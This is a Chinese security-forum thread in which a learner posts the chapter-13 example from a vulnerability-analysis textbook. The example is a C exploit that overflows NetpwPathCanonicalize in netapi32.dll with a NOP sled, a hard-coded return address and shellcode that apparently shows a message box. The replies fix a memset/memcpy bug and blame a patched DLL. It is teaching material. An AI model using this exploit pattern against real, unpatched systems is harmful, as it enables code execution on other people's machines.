首页
社区
课程
招聘
[求助]O+DAY安全:软件漏洞分析技术13章一个问题
2011-2-25 12:10 5300

[求助]O+DAY安全:软件漏洞分析技术13章一个问题

2011-2-25 12:10
5300
13章处有个例子:

#include <windows.h>
typedef void (*MYPROC) (LPTSTR,LPTSTR,int,LPTSTR,LPDWORD,DWORD);

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x74\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main()
{
        char arg_1[0x320];  //设置成很长的字符串
        char arg_2[0x440];  //接收的缓冲区,也要稍微大些
        int arg_3=0x440;
        char arg_4[0x100];  //设置成很长的字符串
        DWORD arg_5=44;
        HINSTANCE LibHandle;
        MYPROC Trigger;

        char dll[]="netapi32.dll";
        char VulFunc[]="NetpwPathCanonicalize";
        LibHandle=LoadLibrary(dll);
        Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);
        memset(arg_1,0,sizeof(arg_1));
        memset(arg_1,0x90,sizeof(arg_1)-2);
        memset(arg_4,0,sizeof(arg_4));
        memset(arg_4,'a',sizeof(arg_4)-2);
        memset(arg_4,shellcode,168);
//这里一直编译错误error C2664: 'memset' : cannot convert parameter 2 from 'char [169]' to 'int',不知是怎么回事.
        arg_1[0x318]=0xF9;
        arg_1[0x319]=0x52;
        arg_1[0x31A]=0x18;
        arg_1[0x31B]=0x75;
        Trigger(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
       
        FreeLibrary(LibHandle);
        return 0;
}

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞0
打赏
分享
最新回复 (5)
雪    币: 230
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
yoke 2011-2-25 12:37
2
0
应该为:memcpy(arg_4,shellcode,168);

memset()
用来对一段内存空间全部设置为某个字符,一般用在对定义的字符串进行初始化为‘ ’或‘\0’;例:char a[100];memset(a, '\0', sizeof(a));

memcpy
用来做内存拷贝,你可以拿它拷贝任何数据类型的对象,可以指定拷贝的数据长度;例:char a[100],b[50]; memcpy(b, a, sizeof(b));注意如用sizeof(a),会造成b的内存地址溢出。
雪    币: 227
活跃值: (86)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
seny 2011-2-25 13:58
3
0
恩。谢谢。果然是这样
雪    币: 227
活跃值: (86)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
seny 2011-2-25 16:50
4
0
谢谢二楼的兄弟。。我能编译通过了。可是编译后运行可没有弹出对话框。。
我复制的netapi32.dll是从原书附带的。。版本是:5.00.2195.7105
然后我加了printf("%s\n",arg_2);
也没有返回任何数据。。郁闷。不知道怎么回事啊
雪    币: 230
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
yoke 2011-2-25 19:06
5
0
你的补丁打上了。。
雪    币: 227
活跃值: (86)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
seny 2011-3-9 16:44
6
0
啊。。版本一样。补丁打上啦。呵呵。。我装个原来的试下,谢谢了
游客
登录 | 注册 方可回帖
返回